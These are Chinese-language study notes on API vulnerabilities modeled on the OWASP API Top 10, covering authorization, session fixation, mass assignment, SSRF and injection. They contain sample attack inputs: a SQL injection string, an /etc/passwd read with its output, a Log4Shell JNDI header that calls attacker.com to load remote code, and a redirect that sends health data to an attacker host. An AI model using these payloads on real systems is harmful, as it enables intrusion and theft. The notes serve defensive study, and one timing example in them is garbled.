攻击者就可以通过改变请求中的对象ID来绕过授权限制,从而获取敏感数据或者完全掌控账户。这个漏洞在基于API的应用程序中非常普遍,因为服务器通常无法跟踪完整的用户状态,而是依赖于请求参数中的对象ID来决定哪些对象可以被用户访问。
eg:
在线文档存储服务允许用户上传、查看、编辑和删除他们的文件。当用户想要删除一个文件时,系统会将对应文件的ID传递给API,以便系统确定要删除哪个文件。
POST /graphql
{
"operationName":"deleteReports",
"variables":{
"reportKeys":[""]
},
"query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) {
{
deleteReports(reportKeys: $reportKeys)
}
}"
}
因为在线文档存储服务在删除文件时只依赖文件的ID,没有进行其他的权限检查,所以用户有可能会能够删除其他用户上传的文档。也就是说,如果攻击者知道其他用户文档的ID,那么他们就可以利用这个漏洞来删除其他用户的文件。
破坏或伪造身份验证令牌,或者利用漏洞来盗用其他用户的身份。
明文密码传输
薄弱的API密钥,密钥又不经常轮换
使用GET参数发送敏感信息的API端点
connection.setRequestMethod("GET"); //发起请求,具体的请求方式视具体情况而定
无效的令牌访问验证/JWT访问令牌缺少验证
token ====> header.payload.singnature
令牌的组成: 标头(header) 、有效负荷(payload) 、签名(singnature)
JWT通常所示:xxxxxx.yyyyyy.zzzzzz
header: 标头通常由两部分组成即令牌的类型(JWT)和使用的算法类型。【通常使用Base64编码组成JWT结构的第一部分】
{
"alg":"HS256",
"typ":"JWT"
}
payload: 有效负载,存储用户的相关的信息和其他数据的声明。【通常使用Base64编码组成JWT结构的第二部分】
{
"username":"qiumin",
"password":"123456"
}
singnature: 签名,与前面两个部分生成JWT,该签名不能让其他人知道,是保证token不被串改,保证信息的安全。
【通常使用Base64编码组成JWT结构的第三部分】
header+"."+payload+"."+singnature ---> 组成唯一的token
会话ID暴露在URL里
URL重写:
当客户不接受cookie时候,服务器可以跟踪url重写作为会话跟踪基础,URL 重写涉及添加数据、会话 ID、容器解析 URL 路径从而请求与会话相关联。会话 ID 必须被编码为 URL 字符串中的一个路径参数。
参数的名字必须是 jsessionid。下面是一个 URL 包含编码的路径信息的例子:
http://www.myserver.com/catalog/index.html;jsessionid=1234
PS:url中紧跟servle或jsp文件名,加;jsessionid=sessionId,其中sessionId由HttpSession.getId()得到。URL重写实现会话跟踪,要保证每个页面都必须使用Servlet或JSP动态页面。因为附加在URL上的SessionID是动态产生的,所以对于静态页面的跳转,URL重写机制无能为力。
会话固定(session fixation)的攻击
会话固定(Session fixation)是一种诱骗受害者使用攻击者指定的会话标识(SessionID)的攻击手段。这是攻击者获取合法会话标识的最简单的方法。(让合法用户使用黑客预先设置的sessionID进行登录,从而是Web不再进行生成新的sessionID,从而导致黑客设置的sessionId变成了合法桥梁。)
Servlet容器允许URL地址后面增加 ;JSESSIONID=… 的方式携带session信息。
攻击步骤
1.攻击者打开一个登录页面
2.服务端会返回攻击者一个sessionId = 123xyz
3.攻击者发送一个伪装连接并带上sessionId
4.然后正常用户接到后,点击进行登录
5.这时候服务端sessionID=123xyz的session已经存在
6.这时,有了这个sessionID ,攻击者就可以正大光明的访问漏洞系统了。
攻击原理: 登录后的sessionId和登录前的SessionId 没有变化
会话ID没有超时限制,或者用户会话或身份验证令牌特别是单点登录令牌在用户注销时没有失效。
缺省的会话超时由servlet容器定义,在HttpSession接口上调用getMaxInactiveIntervalfangaf得到该值.开发人员可以使用HttpSession接口上的setMaxInactiveInterval方法改变该值.时间单位是秒.若设置为-1,表示该会话永不过期.
场景案例:
用户要更新他们账户关联的电子邮件地址,那么客户端需要发送一个特殊的API请求:
PUT /account
Authorization: Bearer <token>
{ "email": "" }
由于API没有要求用户提供当前的密码来确认身份,攻击者就有可能通过窃取身份验证令牌来伪装成其他用户。他们也可能会在更新受害者账户的电子邮件地址时实施攻击,从而接管受害者的账户。
对象属性级别授权失效是指在访问控制系统中,授权规则没有按照预期的要求来实现,这可能会导致安全漏洞。通常,在访问控制系统中,对象属性级别授权非常重要,它可以确保用户只能够访问他们具有权限的资源和信息。如果这个授权失效了,攻击者就有可能访问到他们没有权限访问的信息或资源,从而对系统构成威胁。
单次返回类型过多
过度数据泄露是指 API 端点响应的信息多于满足请求所需的信息。
当存在此漏洞时,可能相当于向某人询问其姓名,并让他们使用其姓名,出生日期,电子邮件地址,电话号码以及他们认识的每个人的身份进行响应。
假设我请求了自己的帐户信息,并提出了以下请求:
GET /api/v3/account?name=Cloud+Strife
response:
{
"id": "5501",
"first_name": "Cloud",
"last_name": "Strife",
"privilege": "user",
"representative": [
"name": "Don Corneo",
"id": "2203"
"email": "[email protected]",
"privilege": "super-admin"
"admin": true
"two_factor_auth": false,
}
脱敏策略不一致
批量分配
当API将客户端提供的数据绑定到应用程序,又没有适当的过滤技术时,就会发生批量分配。开发人员使用绑定方法,通过函数将用户输入与内部对象和代码变量绑定,以加快开发周期。攻击者可以通过评估API结构和对象关系,查找批量分配漏洞,以更新和修改旨在隐藏起来的对象属性。一旦攻击者修改了敏感对象的属性,往往会提升权限、绕过安全检查并篡改敏感数据。
将属性值设置user.is_admin和user.is_manager来提升权限
场景案例:
在基于短视频的社交网络中,有一些限制性内容需要进行过滤和审查。即使上传的视频被系统拦截了,用户还是可以通过以下API请求来修改视频的描述信息。
PUT /api/video/update_video
{"description":"a funny video about cats"}
{"description":"a funny video about cats","blocked":false}
这就意味着,如果用户上传不良内容的视频并通过修改描述信息的方式绕过系统审查。
攻击者可以发送大量请求来消耗API服务器的资源,甚至通过暴力破解方式来突破安全措施,从而造成损失。
场景案例:
攻击者会发送一个POST请求到/api/v1/images,上传大图片。API在收到这个请求后,会创建多个缩略图,每个缩略图大小不同。然而,由于上传的图片太大了,API在创建缩略图的过程中用尽了所有可用的内存,导致系统变得无响应。
攻击者可以利用漏洞来发送一些本不允许他们访问的API请求,这可能会导致一些合法的API请求被暴露给未经授权的匿名用户或普通用户。
场景案例:
在某些只允许邀请用户注册的应用程序中,移动应用程序会触发一些API调用,以便用户能够加入。这个响应会返回一个包含邀请详细信息(如用户角色和电子邮件)的JSON文件,攻击者会复制这个请求,并改变HTTP方法和参数。攻击者就利用这个漏洞来冒充管理员身份,并通过发送新的邀请来获取管理员权限。
POST /api/invites/new
{"email":"[email protected]","role":"admin"}
最后攻击者使用操纵的请求来创建自己的管理员帐户,并获得对系统的完全访问权限。
黄牛抢购、恶意占座(机票)、营销活动薅羊毛等,编写攻击脚本等方式,对API接口发起的自动化攻击
OWASP也针对性提出了应对方案,包括:设备指纹、人机识别(比如验证码)、行为检测、Tor和常见代理IP检测等。
撞库
爬虫
研发窃数后门风险
SSRF漏洞成因:
(1)服务端提供了从其他服务器应用获取数据的功能;
(2)服务端对目标地址做过滤与限制 。
攻击目标:一般情况下 , SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。
端口扫描(扫描内网)
攻击Web应用进行指纹识别及其中的漏洞
如果PHP安装了expect扩展,可以通过expect协议执行系统命令
expect:// — 处理交互式的流
该封装协议默认未开启
为了使用 expect:// 封装器,必须安装 » PECL 上的 » Expect 扩展。
用法
expect://command
dos攻击
file 协议暴力枚举敏感文件
文件URI的形式为
file:// host / path1
host是可以在其上访问路径的系统的标准域名
path是格式为directory / directory /…/ name的分层目录路径。
场景案例:百度识图功能。
用户可以从本地或URL的方式获取图片资源,交给百度识图处理。如果提交的是URL地址,该应用就会通过URL寻找图片资源。如果Web应用开放了类似于百度识图这样的功能,并且对用户提供的URL和远端服务器返回的信息没有进行合适的验证或者过滤,就可能存在“请求伪造”的缺陷。
在对应用程序、框架、应用程序服务器、web服务器、数据库服务器等执行安全配置时,由于配置不当导致的漏洞。可以不经授权就可以访问某些系统数据或使用系统功能。
使用了有安全缺陷的版本
没有修改默认的帐户密码
密码、会话ID和其他认证凭据使用未加密连接传输
未强制执行HTTPS
错误的标头
API 提供程序使用标头为使用者提供处理响应和安全要求的说明。配置错误的标头可能导致敏感信息泄露、降级攻击和跨站点脚本攻击。
例如,采用以下响应:
HTTP/ 200 OK
--snip--
X-Powered-By: VulnService 1.11 // reveal backend tech => search exploits
X-XSS-Protection: 0 // could be changed to 1
X-Response-Time: 566.43
//If the X-Response-Time header has a consistent response time for nonexistent records, for example, but increases
// its response time for certain other records, this could be an indication that those records exist.
HTTP/UserA 404 Not Found
--snip--
X-Response-Time: 25.5
HTTP/UserB 404 Not Found
--snip--
X-Response-Time: 25.5
HTTP/UserC 404 Not Found
--snip--
X-Response-Time: 510.00
在这种情况下,UserC 的响应时间值是其他资源的响应时间的 20 倍。由于样本量如此之小,很难明确地断定 UserC 存在。
例如,你知道像这样的虚假帐户的平均X响应时间为ms。你还知道,您现有的帐户 /user/account/1021 收到的 X 响应时间。如果您随后发送了请求,强制所有帐号从x到x,您可以查看结果并查看哪些帐号导致响应时间大幅增加。/user/account/thisdefinitelydoesnotexist87625.5510.0010002000
未净化处理的输入导致数据受损
跨域资源共享
跨源资源共享 (CORS) (或通俗地译为跨域资源共享)是一种基于HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其它origin(域,协议和端口),这样浏览器可以访问加载这些资源。跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求,该机制通过浏览器发起一个到服务器托管的跨源资源的"预检"请求。在预检中,浏览器发送的头中标示有HTTP方法和真实请求中会用到的头。
比如说,假如站点 http://foo.example 的网页应用想要访问 http://bar.other 的资源。http://foo.example 的网页中可能包含类似于下面的 JavaScript 代码:
var invocation = new XMLHttpRequest();
var url = 'http://bar.other/resources/public-data/';
function callOtherDomain() {
if(invocation) {
invocation.open('GET', url, true);
invocation.onreadystatechange = handler;
invocation.send();
}
}
敏感资源没有做访问控制
注入
POST /api/v1/register HTTP 1.1
Host: example.com
--snip--
{
"Fname": "hAPI",
"Lname": "Hacker",
"Address": "' OR 1=0--",
}
注入漏洞通常辅以其他漏洞,例如输入清理不良。在以下示例中,您可以看到一种代码注入攻击,该攻击使用 API GET 请求来利用弱查询参数。在这种情况下,弱查询参数将请求的查询部分中的任何数据直接传递到底层系统,而不先对其进行清理:以下响应正文显示 API 端点已纵为显示主机的 /etc/passwd 文件,从而显示系统上的用户:
GET http://10.10.78.181:5000/api/v1/resources/books?show=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
场景案例:
API后端服务器使用了一些流行的第三方编写的访问日志来记录用户请求和响应信息。这些记录工具支持占位符扩展和JNDI查找,每个请求都会产生一个新的日志条目,记录下请求的详细信息,例如请求时间、请求类型、请求者IP地址等。这些日志数据可以帮助开发人员进行调试和性能优化,并且也可以用于安全审计和故障排除。
<method> <api_version>/<path> - <status_code>
攻击者发出以下API请求,该请求将写入访问权限日志文件:
GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}
由于日志记录实用程序的默认配置不够安全,并且网络出站策略太宽松,攻击者可以将恶意代码写入API请求中,然后通过访问日志记录工具来执行恶意代码。
场景案例:
社交网络允许独立应用程序的开发人员与之集成,这个过程需要用户同意分享他们的个人信息。然而,社交网络和独立应用程序之间的数据流缺乏监控和限制,这使得独立应用程序可以访问用户信息,甚至是用户朋友的私人信息。
一家咨询公司建立了一个恶意应用程序,并成功地获取了270,000个用户的授权。由于这个漏洞,咨询公司能够访问50,000,000名用户的私人信息。最终,该咨询公司因为恶意目的出售了这些信息,给用户带来了巨大的隐私风险。
eg:
API与第三方服务提供商集成了用户的医疗敏感信息。数据使用HTTP通过安全链接发送请求如下:
POST /user/store_phr_record
{ "genome": "ACTAGTAG__TTGADDAAIICCTT…" }
攻击者找到了一种破坏第三方API的方法,使用308重定向响应与上一个类似的请求。
HTTP/1.1 308 Permanent Redirect
Location: https://attacker.com/
由于API盲目地遵循第三方重定向,攻击者可以在其中插入恶意代码。这使得API会重复发送用户的请求和敏感数据到攻击者的服务器上,而不是原来的目标服务器上。攻击者可以利用这些数据进行各种恶意行为,例如窃取用户信息、入侵企业网络等。
合作伙伴违规
合作伙伴被攻破
合作伙伴离职员工风险
业务合规风险
采集涉敏数据与报备不一致
数据违规开放&共享
数据违规出境
接口违反最小化原则
疑似内部接口暴露:内部接口(例如,用于内部办公、开发测试、运营管理的接口)暴露在公网。
缺乏访问限速机制:接口在应对高频访问时,缺少安全防护机制,可能导致暴力破解、恶意爬虫等。
敏感数据过度暴露:接口暴露过多的敏感数据,可能导致大规模数据泄漏。
缺乏异常处理机制:检测到程序报错信息,可能存在SQL注入、泄漏应用配置等风险。
缺乏访问控制机制:接口对不符合日常基线的访问(例如,异常地区访问)
缺乏控制机制:敏感数据接口缺乏鉴权机制
接口缺少鉴权机制:可以被未授权的访问者访问,用于获取敏感数据。